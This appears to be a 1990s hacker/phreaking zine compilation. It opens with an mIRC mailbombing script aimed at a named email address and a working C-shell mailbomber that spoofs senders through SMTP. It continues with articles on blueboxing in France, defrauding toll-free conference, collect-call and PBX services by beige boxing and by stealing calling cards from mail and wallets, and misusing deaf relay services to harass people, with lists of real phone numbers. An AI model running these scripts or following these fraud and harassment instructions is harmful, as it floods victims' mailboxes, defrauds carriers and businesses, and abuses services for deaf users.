$rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(a,z) $+ $rand(A,Z) $+ $rand(0,9) $+ $rand(A,Z) $+ $rand(a,z) $+ $rand(A,Z) n57= timer43 0 2 clearall n58= timer44 0 10 ubomb n59=} n60=ubomb { n61= msg = $+ $chat(1) helo $rand(A,Z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) n62= msg = $+ $chat(1) mail from: $rand(a,z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) $+ @ $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ .com n63= msg = $+ $chat(1) rcpt to: %bombname n64= msg = $+ $chat(1) data n65= msg = $+ $chat(1) Subject: $rand(A,Z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(a,z) $+ $rand(0,9) $+ $rand(A,Z) n66= msg = $+ $chat(1) %bd1 n67= msg = $+ $chat(1) %bd2 n68= msg = $+ $chat(1) %bd3 n69= msg = $+ $chat(1) %bd4 n70= msg = $+ $chat(1) %bd5 n71= msg = $+ $chat(1) %bd6 n72= msg = $+ $chat(1) %bd7 n73= msg = $+ $chat(1) %bd8 n74= msg = $+ $chat(1) %bd9 n75= msg = $+ $chat(1) %bd10 n76= msg = $+ $chat(1) %bd11 n77= msg = $+ $chat(1) %bd12 n78= msg = $+ $chat(1) %bd13 n79= msg = $+ $chat(1) %bd14 n80= msg = $+ $chat(1) %bd15 n81= msg = $+ $chat(1) %bd16 n82= msg = $+ $chat(1) %bd17 n83= msg = $+ $chat(1) %bd18 n84= msg = $+ $chat(1) %bd19 n85= msg = $+ $chat(1) %bd20 n86= msg = $+ $chat(1) %bd1 n87= msg = $+ $chat(1) %bd2 n88= msg = $+ $chat(1) %bd3 n89= msg = $+ $chat(1) %bd4 n90= msg = $+ $chat(1) %bd5 n91= msg = $+ $chat(1) %bd6 n92= msg = $+ $chat(1) %bd7 n93= msg = $+ $chat(1) %bd8 n94= msg = $+ $chat(1) %bd9 n95= msg = $+ $chat(1) %bd10 n96= msg = $+ $chat(1) %bd11 n97= msg = $+ $chat(1) %bd12 n98= msg = $+ $chat(1) %bd13 n99= msg = $+ $chat(1) %bd14 n100= msg = $+ $chat(1) %bd15 n101= msg = $+ $chat(1) %bd16 n102= msg = $+ $chat(1) %bd17 n103= msg = $+ $chat(1) %bd18 n104= msg = $+ $chat(1) %bd19 n105= msg = $+ $chat(1) %bd20 n106= msg = $+ $chat(1) %bd1 n107= msg = $+ $chat(1) %bd2 n108= msg = $+ $chat(1) %bd3 n109= msg = $+ $chat(1) %bd4 n110= msg = $+ $chat(1) %bd5 n111= msg = $+ $chat(1) %bd6 n112= msg = $+ $chat(1) %bd7 n113= msg = $+ $chat(1) %bd8 n114= msg = $+ $chat(1) %bd9 n115= msg = $+ $chat(1) %bd10 n116= msg = $+ $chat(1) %bd11 n117= msg = $+ $chat(1) %bd12 n118= msg = $+ $chat(1) %bd13 n119= msg = $+ $chat(1) %bd14 n120= msg = $+ $chat(1) %bd15 n121= msg = $+ $chat(1) %bd16 n122= msg = $+ $chat(1) %bd17 n123= msg = $+ $chat(1) %bd18 n124= msg = $+ $chat(1) %bd19 n125= msg = $+ $chat(1) %bd20 n126= msg = $+ $chat(1) %bd1 n127= msg = $+ $chat(1) %bd2 n128= msg = $+ $chat(1) %bd3 n129= msg = $+ $chat(1) %bd4 n130= msg = $+ $chat(1) %bd5 n131= msg = $+ $chat(1) %bd6 n132= msg = $+ $chat(1) %bd7 n133= msg = $+ $chat(1) %bd8 n134= msg = $+ $chat(1) %bd9 n135= msg = $+ $chat(1) %bd10 n136= msg = $+ $chat(1) %bd11 n137= msg = $+ $chat(1) %bd12 n138= msg = $+ $chat(1) %bd13 n139= msg = $+ $chat(1) %bd14 n140= msg = $+ $chat(1) %bd15 n141= msg = $+ $chat(1) %bd16 n142= msg = $+ $chat(1) %bd17 n143= msg = $+ $chat(1) %bd18 n144= msg = $+ $chat(1) %bd19 n145= msg = $+ $chat(1) %bd20 n146= msg = $+ $chat(1) . n147= echo 4 $active Please Wait!!!!!! n148= echo 2 $active Disreguard Annoy errors you may have seen... It still sent! n149= timer1 1 5 close -c $me n150= timer2 0 6 fuck n151=} n152=fuck { n153= set %rand $rand(3,9) n154= if (%rand == 3) privmsg $me $chr(1) $+ DCC CHAT chat %lp3 25 $+ $chr(1) n155= else if (%rand == 4) privmsg $me $chr(1) $+ DCC CHAT chat $longip(206.98.168.1) 25 $+ $chr(1) n156= else if (%rand == 5) privmsg $me $chr(1) $+ DCC CHAT chat $longip(204.213.252.2) 25 $+ $chr(1) n157= else if (%rand == 6) privmsg $me $chr(1) $+ DCC CHAT chat $longip(204.249.224.68) 25 $+ $chr(1) n158= else if (%rand == 7) privmsg $me $chr(1) $+ DCC CHAT chat $longip(207.75.206.100) 25 $+ $chr(1) n159= else if (%rand == 8) privmsg $me $chr(1) $+ DCC CHAT chat $longip(207.219.16.3) 25 $+ $chr(1) n160= else if (%rand == 9) privmsg $me $chr(1) $+ DCC CHAT chat $longip(136.224.1.1) 25 $+ $chr(1) n161=} ----- END aliases.ini --- ----- remote.ini ------------- [Variables] n0=%bombname ctappz@hotmail.com n1=%bombfrom bt5S@ejxe.com n2=%bd1 QXa8U6hW6GdVXe0K9rP5DuPOx0W1fQ5LfWNv0X4yQ9CsF n3=%bd2 TTy5I4cJ8CcHJp7G5dA6YnQVg7I1lH9RmMEh6T7jO1RqS n4=%bd3 MKk4F7aF2TjBXq0I8mC7AjWEo4Q6aT7XzQUo0I6pW4RyM n5=%bd4 HLq5Q0zP1BzJMb4Q7pJ2NzBKr2I3gJ9PgFPm4A0vX5TtM n6=%bd5 AFv0F6eQ6XzXFf7Y5jY5HaKZy4O2dQ7IrFGr5I5wM5FbX n7=%bd6 ZWx8Q1rS8BtNYk4O2nR3CxZSr3M4nO8JjBHp8F7nB0EnG n8=%bd7 BUh6Y2cT5WwINa7F3kL2UzEMi3X5zM3XtIMs8L7mI4AcZ n9=%bd8 FPu7A9bJ4FpULz2V9kH9HuODs9Q0kS9BvBSc6X1mA3JbP n10=%bd9 THe1A4vQ6PrYXl2F7hF9NzBJm9B3sK7NsFCy9P5dB8WiI n11=%bd10 JFz0E1yZ4QeQGa2L5vB0UgYMq7N2pS9TlPRh1C0aB9PzQ n12=%bd11 POw8N9cQ4VjPLw6A1aL5DoNCv2D3eH1PrBNn4T4pR1DxR n13=%bd12 HKo4Z2hX4GvGCa0J4xU2UdEWn8A7kF5PfBZn4H4fM5FwD n14=%bd13 NCh5V7bY1GgLOt7Q2qB2MxOSe5L7oB9AfSOf1U2oR6QzX n15=%bd14 QXc7B5zV0ZgXPv1U7vR8OfWDa8U1jQ3ZqVFp7I1bB0KxN n16=%bd15 JHy1I5xV7LmVQs6U5aS9TdBHs0T9jF3GxTBt8D9pW3WoS n17=%bd16 PAy9P8kJ9IqNFq0W6xF9UkBTr7U3eI3RcALb5G5uA6VtN n18=%bd17 BOc7D7vJ5FqQKz5A6mN4HbJKr8Y4kC0InNUy4T2qB9RlN n19=%bd18 KRc7K8pK0YuKQw8H5jM3CoUKr6O0tV6DbUPk5J2aD6GgL n20=%bd19 MQa8H8hJ3KaBPp2R9fM3KkSPs2V6zJ5ElVIy4J8yF5RdB n21=%bd20 WEp5T3pG8QvLZw8X1jN7IoQVo9C8iY2IkLZp1X2aB3SeB n22=%lp1 206.98.168.1 n23=%lp2 204.213.252.2 n24=%lp3 204.213.252.2 n25=%lp4 204.249.224.68 n26=%lp5 207.75.206.100 n27=%lp6 207.219.16.3 n28=%lp7 207.238.24.2 n29=%lp8 136.224.1.1 n30=%lp9 204.94.255.4 n31=%lp10 198.87.20.2 n32=%lprand 5 n33=%rand 9 [Events] n0=1:ON TEXT:LP =*:*:set %fuck $+ $parm3 ----- remote.ini ------------- --- servers.ini -------------- [Servers] n0=diegoSERVER:sandiego.ca.us.undernet.org:6666 n1=ChicagoSERVER:chicago.il.us.undernet.org:6667 --- servers.ini -------------- ---ulrs.ini ------------------ --- urls.ini ------------------ ============================================================================= The Practical Mailbomber for every day use by Scud-O this is a VERY simple general purpose mailbomber that uses the C Shell. It isn't as nice as REality's mIRC mailbomber, but so what? all you need to have is a BIG file to send this person, i say use a big dull FAQ file or a file of gibberish #! /bin/csh ##The Practical Mailbomber for every day use ##Since different systems have different timers you may need to fix the timer echo "The Practical Mailbomer for every day use " echo "by Scud-O of HBS | version 1.0" echo -n "SMTP server to use? " set serv = $< echo -n "Fake host name? " set fake = $< echo -n "Who should it appear to be from? (usr@host) " set from = $< echo -n "Who is the lucky recipient? " set to = $< echo -n "Name of the BIG file you want to mail? " set file = $< echo -n "How many times should it be sent ? " set amount = $< set loop_count = 1 echo "Don't press anything until you see the Mailbomber is Finished message!" while ($loop_count <= $amount) (sleep 3;echo "helo" $fake;sleep 1;echo "mail from:"$from;sleep 1;echo "rcpt to:"$to;sleep 1;echo data;echo "From:"$from;sleep 1;cat $file;echo ".";sleep 2;echo "quit") | telnet $serv 25 @ loop_count++ end echo "Mailbomber is Finished" ============================================================================= /* BlueBoxing In France By memor */ I --- The Reasons Why BlueBoxing Is Possible In France. 1.1 *** France Telecoms AntiFraud Office Politic. 1.11 Spying Office Of France Telecom. 1.12 Main Office Of France Telecom. 1.13 France Telecom Politic For Bluebox Fraud. 1.14 Teletel Network Of France Telecom + Money. 1.2 *** French Governement Politic. 1.21 Homes Office Of French Governement. 1.22 DST Spying Office Of French Governement. 1.23 BCRCI and SEFTI Cops Office. 1.24 French Governement Politic For Telecoms Fraud. 1.3 *** Companies Politic & Other Operators AntiFrauds Office Politic. 1.31 France Telecom Spy FreeNumber For Companies. I --- Some Reasons Which Explain Why BlueBox Is Possible In France. 1.1 *** France Telecoms AntiFrauds Office Politic. France Telecom, the Company which provides the phone services for France, is the first and only company to provide phone service in France, since it became privatized in 1996 a governemental company. France Telecom is known to make easy cash; local and national phone taxes are extremely expensive and international taxes are only slightly lower. Anything they can do to make money, they do. For example for $10us you can get a little telecard with $2us credit for children, with their name and phone number written on it. 1.11 Spying Office Of France Telecom. France telecom has a Spying Office, where the public can call when they think they have found a "hacker." The phone company will sometimes check what you say, but mostly they seem to be just trying to make more money. An example, if you were to call and say "I don't know, sometimes my phone rings and when i ask who is there, i hear some been(26xxone,)" to which the phone company would respond with "Your phone must have a technical problem, which we can repair for only $1XXus." Their spying office only puts the information they find about Phreakers and Hackers in a big file, so if a big company or government asks for some important Hacker or Phreaker, France Telecom picks a few names and addresses from the list and just hands it over to the cops. Luckily, this office is not extremely dangerous, because many phreakers actually work there. Sometimes when they finish work they go trashing in the France Telecom dumpsters to find some devices to fraud the company they work for. 1.12 Main Offices Of France Telecom. The main office of France Telecom is located in Paris. They have huge dumpsters there, guarded by a gate alarm, but if you make a trip to Paris, be sure to go there and grab some modems, faxes, or any equipment you really want. Now, this Main Office is really the backbone of France Telecom, it houses the technicians, administration and director of France Telecom. Here orders are sent to the smaller France Telecom offices, or out to other countries. Some of the smaller France Telecom offices are: +33 0380728050 -> Business Office +33 0380727996 -> Technical Office +33 0380727958 -> SOVTEL Technical Office +33 0380301608 -> Phone Lines Making Office +33 0380406363 -> Network Office (From France Only) 0800215164 -> Professional Info-Line 1.13 France Telecom Politic For Bluebox Fraud. To say it again, France Telecom doesn't care, they just want their money. If you were to bluebox off a company phone line, the will attempt to bill the company for it, because they do not guarantee the security of the lines. If it's a large, powerful company that refuses to pay for it, France Telecom will do it's best to make someone pay. If they can't make the company pay (They will try to bring lawsuits against the company and get as much money as possible from them,) they will do their best to catch the Phreaker responsible. This is often impossible because the phreaker has dissappeared from their logs, during all the time spent in lawsuits against the large company. 1.14 Teletel Network Of France Telecom + Money. The Teletel Network is the national french Network, you can find some "Out Internet" on it , but very rarely, It uses 1200/25 Bauds , V23 Protocol the mostly... You must have a Videotex Terminal (on PC, Softwares from GOTO applications like TimTel), With that network , u can access (not for free) , Private Systems, with password mostly, the cheapers one (0.13FF/min and 0.73FF on connection opening) , after you can access the demo servers and some private servers for a bit more expensive (0.36ff/min and 0.73FF on connection opening) , for more expensive , u have the Television servers, the sex servers , the downloading servers(slow as hell), the dial servers (1.23ff/min and 0.73FF on connection opening), for more and more expensive, You have the children servers, sex servers , Companies servers, Fax sending servers, Job finding servers (2.19ff/min to 4.36ff/min and 0.73ff on connection opening) and for REALLY expensive , u can access some "foreign servers" (price are really expensive.. 2 mins on it and no money on your account) From foreign countries, access Teletel Networks if u have a modem which supports 1200/25 v23 and a videotex terminal (like Timtel you can get on ftp.minitel.fr) , by the way the french modems are nammed minitels, they are v23 (1200/25) only and in local use , you can boost them to 9600 bauds, videotex mode, you buy it like 20FF to 50FF and after you pay 80FF to 160FF/month , u cant break it because its to France Telecom who rent you it. Teletel network nammed 3613 (Private Servers) +33 0836431313 Teletel network nammed 3614 (Private and Demo Servers) +33 0836431414 Teletel network nammed 3615 (Private,Demo,Dial,...) +33 0836431515 The others networks cant be accessed from foreign countries, because they are too expensives, France Telecom knows that we can fraud and bluebox for accessing it so , access to 3616 ,3617, 3619 arent allowed from foreign countries 1.2 *** French Governement Politic. A few years Ago, the governement was a Socialist and corrupted one, they didnt care for anything.. *all* was allowed when it was a bit hidden.. like Snes Games selling, Cracking, Hack, Phreaking. They were only fighting a bit against Drug Selling. Now , we are under a Capitalist government, but their politic are as the Socialist one, they only fight more for all the stuff selling and Hack/Phreak but not enough for stopping us (the difference with the Socialist one is so little.) 1.21 Homes Office Of French Governement. The Homes Office in France is composed well of some directors corrupted, and spies from the normal Police. They are really busy fighting against Islamist terrorists and Pedophilia, but well they have a big file which has name & adress of supposed Hackers... so if we are a bit too dangerous they will get their file and bust the *supposed* Hackers. Well they did that one time, because someone hacked a private teletel network who was one from the dst (departement de la securitée du territoire.. Territory Security Departement) and recoreded all their big files. Well they dont care for Phreakers, but they can be dangerous. 1.22 DST Spying Office Of French Governement. The DST spying of French Governement and Homes Office is the more dangerous police of France, its like CIA in USA... but their spy doesnt really know what is bluebox, well they have only skills for terrorism and for killing, they cant understand what we are doing on their Phone Lines. And well they have other stuff to do more important than busting a bunch of Phreakers. Their main office is the homes office in Paris but they are in the whole France and in the foreign countries for some dark stuff... They just begin to know a bit using Teletel Networks, but they have no skills i Internet ones mostly. 1.23 BCRCI and SEFTI Cops Office. BCRCI and SEFTI (i cant translate what that mean) are two new organs of French Police with fight against Computer Crime (Cracking mostly and sometimes Hacking and Phreaking.) BCRCI is a bunch of cops with bust Crackers and Warez dudes... They have enough skills for tracing Phreakers and for busting Phreakers... 3 years Ago they busting the Cracking/Hacking/ Phreaking team of Dijon of Snes&Megadrive Games selling of France with the help of DST. They are like 40 members in BCRCI. SEFTI, organ of French Police and DST, members of SEFTI are from DST, they have enough skills for busting Hackers.. They only try to bust hackers, They have NO skills for busting Phreakers.. sometimes they bust some Crackers. Well SEFTI a few years ago have infiltrated and busted (their spy was nammed Jean Bernard Condat) the French Chaos Computer Club (CCCF). They can be really dangerous sometimes if u are not carefull. 1.24 French Governement Politic For Telecoms Fraud. French Governement politics for telecoms fraud must be a dream for american dudes or others one, they dont care at all.. They answer to unhappy people that France Telecom must do his job and like i said , France Telecom doesnt care at all too and make paying the dude whos account is down. Their little BCRCI and SEFTI office have no money for fighting against us and their DST are ordered to catch Terrorists and not the Phreakers dudes. 1.3 *** Companies Politic & Other Operators AntiFrauds Office Politic. 1.31 France Telecom Spy FreeNumber For Companies. Well we can say there is no really politics in France for the Companies to prevent Phreaking or Hacking, France Telecom gave an # Number you can call when you suspect someone, somwhere to Bluebox or use a different fraud system, that number is 0800361415. ============================================================================= NIDS part 1.5 by btm This is a snmall article on NIDS, which btm email me, basically tellin me that if you use a butt in set on a NID, you can effectivly tap a line, with it not going off the hook. Thanks btm! BTW, if anyone needs a butt in set, email me ( Scud-O ) for the info on where to get em ============================================================================= All work and no play makes Jack a dull boy. All work and no play makes Jack a dull boy. All work and no play makes Jack a dull boy. All work and no play makes Jack a dull boy. All work and no play makes Jack a dull boy. All work and no play makes Jack a dull boy. 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Remember that. &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& Hi, welcome to my little piece of whatever zine this turns up in. I chose to write about 1-800 services because instead of collecting Calling Cards, cracking PBXs, or just paying for long distanced you have 1-800 numbers. And of course the telco makes it so we can take advantage of it. There are 4 things that 1-800 services offer that you can take advantage of. a: Collect Calls, rather simple, but hey, you get more results the harder you try. b: Cofernces, w00h00, I will babble on for pages about this when it is my fav and rather simple. c: Calling Cards, you have seen this everywhere, it is about time someone wrote a new text on it. d: PBXs, this is rather simple if you just listen up and sit strait in your chair (sarcasm). Collect Calls Ok, lets start out with Collect Calls. I know of about 5 collect calling services off of my head. First off, if you don't know what a collect call is (heheh) it is simply when someone calls one of the many 1-800 numbers I am about to list and puts in the number of the person they are trying to call then says a name. Then the person is asked if he/she will accept the call, and if they do, they are billed at a rate of about 10 cents a minute. The 5 collect call services I can think of right now are; AT&T- 1-800-CALL-ATT MCI- 1-800-COLLECT BcTell- 1-800-4455667 (ask for sarah, heheheh) OCI- 1-800-288-2880 Simply the operator, if you don't know how to reach her, drop the text and kill yourself. Now how to actually take advantage of this. Use this like a pager, short simple messages. When you call up and it says "Say your name after the tone." Instead of saying your name say, "Honey, its Joe, I am at the pimp store, what size rubber suit did you want, call me at...." you see what I mean. What is usefull about this is that when piece of shit McDonald's don't let you use thier special phone and say to use the payphone, you just do this, have them call the payphone and blammo, you are chatting. Conferences The next way to take afvantage of 1-800 services is to tele-conferencing. Conferences are extremly expensive. What someone does is they call a 1-800 number and tell them how many ports (people) they would like to have, if they want the people who will particiapte be called by the conference place, or call a 1-800 number, you ALWAYS want to have it so you call in, how long the conference will last, and if you want to take advantage of outdialing (when you can call anywhere at the expense of the conference). To give you an idea of how expensive this is it is 53 cents a minute, per person, so a 8 hour, 7 person conference would cost about 3 thousand bux. There are many places to setup a conference and here is a list; A Better Conference Service: 800.569.0788 AT&T Teleconference Service: 800.232.1234 A Business Conference Call-Inc: 800.580.0853 Access Conference Call Service: 800.777.1826 ACT Teleconferencing: 800.ACT.3719 Conference Call Service: 800.272.5663 Conference Pros International: 800.522.3377 ITC A Worldwide Telecommunications Company: 800.374.6543 Link Teleconference Service: 800.287.9849 MCI Conferencing Services: 800.480.3600 Popp Telcom: 800.848.4851 For some reason the last 5 conferences I have been on that were setup through AT&T have been cancelled in the middle of the conference by an operator. So don't use them anymore. Personally I suggest Access Conferencing Call Service. But that is just my lame opion :) Setting up a conference is rather simple if you are any good at social engineering, beige boxing, or you are just damn sneaky. The first way, social engineering, is kinda hard to do because you need to convince the operator to connect you to the actual technicians who are running the whole thing. I have seen this done and it will work. This one has less of a chance of getting shut down, but it much harder to do. Beige boxing is the easiest, and the fastest. All you need to do is walk down the block to your enemy, plug your beige box in and call from there. One thing is that it is always good to have no one home in the house, but if you can't make sure then you need to actually cut the wires that you have your beige box plugged into so it doesn't ring in the house. Then from there you call up one of the numbers and set it up. And the last one is if you are just sneaky. You can just call from any phone that IS NOT a payphone and set it up from there. The one problem is ALL conferences now have to call back the number you are billing it to and make sure they accept charges. So make sure you can answer the phone, just say you paged your dad and he is calling back or soemthing. Calling Cards I know this kinda goes off of the subject of ripping off 1-800 services but the whole purpose of doing that is to get free long distance, and that is what calling cards is about. You can call up any of the Collect Call services to be able to use your calling card numbers (I'll explain how to get those in a second) all of them have the paying with a calling card option. The hardest part about using calling cards is actually getting them. You could always just steal that electric thing that spits them out for 20 bux, I am kidding. The best way to get them if you live in a city is to walk down your block looking in all the mail bin things. And hope that someone is getting a calling card, possibly credit card, in the mail. Calling Card Generators, Credit Card Generators do NOT work, so don't think you can get a bunch of them off of that. I don't know if this is possible, but if it works it is the best way. Again, you need to be a good social engineer. Goto the local gas station or what ever and figure out when the employees change shifts. When someone new comes in tell him you called a half hour ago and say that he has 5 calling cards (don't push your luck and say 50) on hold for you pre-paid that you forgot to pickup earlier in the day. With a little convincing this should work. Another way is to just simply steal a wallet. PBXs PBX stands for Privare Branch eXchange. These are small switching systems that large businesses use to handle their office. Most of them have a 1-800 number that you call up and then put in a code. From there you can dial out to anywhere in the world. The problem is that you need to scan for them and sometimes they can be very hard to find. And then you need to crack the pass"word". The passcode is a series of numbers, like 31337 which happens to be the code to my voice mail, now I need to change that. Then after you get that you sometimes get a menu and soemtimes you just need to guess numbers. To find one of these to play with you need to use a wardialer (for Windows, use PhoneTag) and just dial numbers at random from it. As soon as you find one I don't think there is any way to get the passcode other than to guess. There is one other option and that is to goto a local big company business and look around, ask questions, dress up like a telco repairman and ask the supervisor. Or you could always just go trashing. These are extremly useful if you can find one and get access to it. When dialing off of these you might want to call the oper than have her connect you, because the people who run these get a list, and if they see 50 unauthorized calls to your friend in France then problems start to happen. Well, I hope you like this text. You can probably get a-hold of me by finding an e-mail address on my webpage http://www.cybervoid.com/ Thanx for reading this and Thank you for abusing AT&T. disc0re %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ============================================================================= TDD for the DEAF and how to exploit the Fucker to DEATH by:UnaBomber I am back. This is UnaBomber and I am writing in regards to the phone service that moist people overlook that is free and a whole lot of fun to use. It is the TDD relay services for the deaf. For all of you fuckers out there that dont know what TDD is it is Telecommunication Device for the Deaf. It is basically just a keyboard and a display screen that they can type messages to other people on. Well there is a thing called TDD relay services that most people fail to notice. It is an operator that has a TDD machine sitting in front of them and you connect to them and they dial up anyone in the state that that relay service is in and they say whatever you type. I mean anything you can cuss you can threaten you name it. They are great if you dont mind typing youre messages out to the operator for them to say to the other party. And best of all they are free! Here is how it works: 1. Load yer favorite telecommunications program like Telemate and for most modems type atx0 to put the modem in reduced result code mode.(works on a hayes accura and a USR sportster and a logicode quiktel) 2. Now you need to look up the relay number in the state that you want to talk to a person in. say I am in New Jersey and want to talk to someone in Illinois. I would get the number for the Illinois relay operator. 3. Next you need to op divert to that 1800 relay service number. For any dumbass that doenst know what this is it is simply pushing 0 on yer phone and getting an operator and telling the bitch to dial this 800 number for ya because yer fone is broke. 4. Here is the tricky part for any uncoordinated fucks you need to type ATDT and hit enter in the terminal program as soon as the operator dials the number for you so it connect ok use 1200 bps 8/N/1 and it will work fine some support 2400 bps but I use 1200 bps anyway its plenty fast enuff. 5. Once connected they will ask for youre fone number that you are calling from give them a fony number from the state that the person you want to calls fone number is in. Like if I was calling to illinois I would tell them I was in illinois. 6. now they will ask if you are connecting to a person with a TDD terminal or if they are going to relay it tell them to relay it. And there ya go. Now please take note there are special letters used to represent symbols since the TDD doesnt have things like a question mark. So here is a list of them: ABT..............................................................ABOUT ANS..............................................................ANSWER CUZ..............................................................BECAUSE CUD..............................................................COULD GA...............................................................GO AHEAD HD...............................................................HOLD MSG..............................................................MESSAGE NBR..............................................................NUMBER OK...............................................................ALLRIGHT OPR..............................................................OPERATOR PLS..............................................................PLEASE Q................................................................QUESTION R................................................................ARE SKSK.............................................................STOP KEY(good bye) THX..............................................................THANK YOU UR...............................................................YOURS CA -- COMMUNICATION ASSISTANT (formerly known as relay operator) List of TDD relay service that I know about: Oregon Relay Service..........................................800-735-2900 Texas Relay Service.............................................800-735-2989 Illinois Relay Service............................................800-526-0844 Ohio Relay Service...............................................800-750-0750 Missouri Relay Service.........................................800-735-2966 New Mexico Relay Service...................................800-659-8331 Arizona Relay Service..................................... .....800-842-4681 Iowa Relay Service...............................................800-735-2942 Florida Relay Service............................................800-955-8771 California Relay Service........................................800-735-2929 Washington Relay Service........................................800-833-6388 New Jersey Relay Service........................................800-852-7899 Another good item free directory service anywhere in the USA for free!!! AT&T Directory Asisstance 800-855-1155 HERE IS A LIST OF NUMBERS THAT I HAVE COLLECTED THAT ARE TDD AND A LOT OF FUCK TO FUCK AROUND WITH I MEAN WHO THINKS OF A DEAF PERSON HARASSING PEOPLE??? ITS A BLAST!! Automobile Club of Western New York 634-3811 American Association of Retired Persons 1-202-434-3600 ..........Group Health Insurance 1-800-232-7773 ..........Pharmacy Service 1-800-933-4327 AT&T TDD Operator Service 1-800-855-1155 AT&T National Special Needs Center 1-800-833-3232 Abledata 1-800-344-5405 * Abledata 1-203-667-5405 * AlertCall 1-800-545-1833 American Airlines (M) 1-800-543-1586 American Postal Workers Union - Northeast Region 1-212-695-4149 American Society for the Deaf Children 1-800-942-ASDC American Speech-Language-Hearing Association 1-301-897-5700 * Amtrak 1-800-523-6590 Artpark - New York State Park & Recreation 754-4375 Association of Late-Deafened Adults 1-312-604-4192 Avis Car Rental 1-800-331-2323 B: Best Western Hotel 1-800-528-2222 Bison Baseball, Inc 846-2116 Blue Cross of Western New York 887-6917 Bouvier, O'Connor, Bruce A. Goldstein, Esq 856-1359 Brooks Memorial Hospital--Dunkirk 366-2305 Budget Rent-A-Car 1-800-637-0056 Buffalo Civic Assocation of the Deaf ..........Theresa Pordum, President 875-8649 ..........Alice Guinane, Secretary 884-2801 Buffalo Club of the Deaf 825-9648 Buffalo Consumer Services Division - Buffalo 847-3401 Buffalo Consumer Services Division - PSC 1-800-855-1155 Buffalo & Erie County Public Library 842-0051 Buffalo & Erie County Public Library 858-7160 Buffalo General Hospital 845-3673 Buffalo Hearing and Speech Center ..........325 Summer Street 885-8318 ..........2121 MainStreet 835-6009 * ..........487 Delaware Avenue (DAS) 885-4955 Buffalo Implant Group (BIG) 838-4662 Buffalo Otological Group 883-6806 * Building or Remodeling by Dale Bilowus 649-0138 * C: Cable Value Network (CVN) 1-800-544-3316 Call 4 Action - WIVB-TV4 879-4949 Candino Hair System, Inc 675-4464 * CaptionCenter 1-617-492-9225 * Captioned Films for the Deaf 1-800-237-6213 Captioning Resources of W.N.Y. Inc. (C.R.O.W.N) 367-3190 * Celeste Upholstering 685-1155 * Carpet Care 824-3303 * Center for Disease Control 1-800-243-7889 ..........(National AIDS Hotline) 1-800-AIDS * Center for Hearing Impaired People of W.N.Y. (CHIP) 895-2747 * Central Referral Service, Inc (CRS) 884-7777 * Citibank (CitiPhone) 1-800-624-4778 Clairol 1-800-223-5800 * Cochlear Corporation 1-800-458-4999 * Commission for the Blind & Visually Handicapped 847-3517 * Community Blue - HMO of Blue Cross of Wetern New York 886-7863 * Continental Airlines 1-800-343-9195 Crisis Services 834-3131 * D: Days Inn 1-800-222-3297 Deaf Adult Services (DAS), B.H.S.C 885-4955 * Deaf-Blind Group of Western New York 633-9714 Deaf Life / MSM 328-6700 Deaf USA 1-818-902-9833 DeGraff Memorial Hospital--N. Tonawanda 690-2290 * Delta Airlines 1-800-831-4488 Device Guidance Center, Inc 891-9486 Device Guidance Center, Inc 894-4658 * Dominion Bank 1-800-937-0119 E: Empire State Association of the Deaf, Inc. (ESAD) 544-5285 Ephphatha Episcopal Church of the Deaf 662-4773 Episcopal Diocese House of W.N.Y 881-0660 * Erie County ..........Board of Elections 858-6554 ..........Central Police Services 849-5808 (911) ..........County Clerk 858-8786 ..........Disabled, Office for 858-6234 ..........Emergency Services 849-5808 (911) Equal Employment Opportunity 858-8464 ..........Health 894-2244 ..........Information & Support 858-6351 Library 842-0051 ..........Sheriff 662-0692 ..........Social Services: ....................Control Message Center (General Information) 858-6355 ....................Financial Assistance 858-8682 ....................Food Stamps 858-6787 ....................SSI 858-6279 Erie County Medical Center (ECMC) ..........Switchboard 898-3200 ..........Emergency Room 898-3100 Eye Festival Communications 1-818-902-9833 F: Fahey, Eugene M. - City of Buffalo Councilmember at Large 851-5136 * Farrugia, Dr. David 681-4466 * FBI Tour Unit 1-202-324-1016 * Food Stamps Office 858-6787 Financial Aid Office 858-8682 Frontier Hotel 1-800-421-6466 G: Gallaudet University 1-202-421-6466 Gannon, Robert I. - Attorney at Law 884-8239 * General Electric (G.E.) Answer Center 1-800-TDD-GEAC General Motors Acceptance Corporation (GMAC) 1-800-TDD-GMAC General Motors Corporation (GMC) ..........Customer Assistance Buick Motor Division 1-800-TD-BUICK ..........Cadillac Motor Car Company 1-800-TDD-CMCC ..........Chevrolet Motor Division 1-800-TDD-CHEV ..........Oldsmobile Division 1-800-TDD-OLDS ..........Pontiac Division 1-800-TDD-PONT General Motor Corporation National Retiree Service Center 1-800-872-8682 Genesee Hearing Services 837-6213 * Goldstein, Bruce A. Attorney At Law 856-1359 Grace Baptist Church ..........General Information 693-3449 * ..........Transportation 832-1711 * Greater Buffalo Council on Alcoholism & Substance Abuse 852-lNFO * Greyhound Lines, Inc 1-800-345-3109 H: Hampton Inn 1-800-451-HTDD Health Care Plan 668-3600 * Hearing Evaluation Services 886-4488 * Helen Keller National Center for Deaf-Blind Youths & Adults 1-516-944-8900 * Hertz Rent A Car 1-800-654-2280 Holiday Inn 1-800-238-5544 Howard Johnson Hotel 1-800-447-4440 I: IBM National Support Center for Persons with Disabilities 1-800-284-9482 IDS Financial Services 874-8100 * Independent 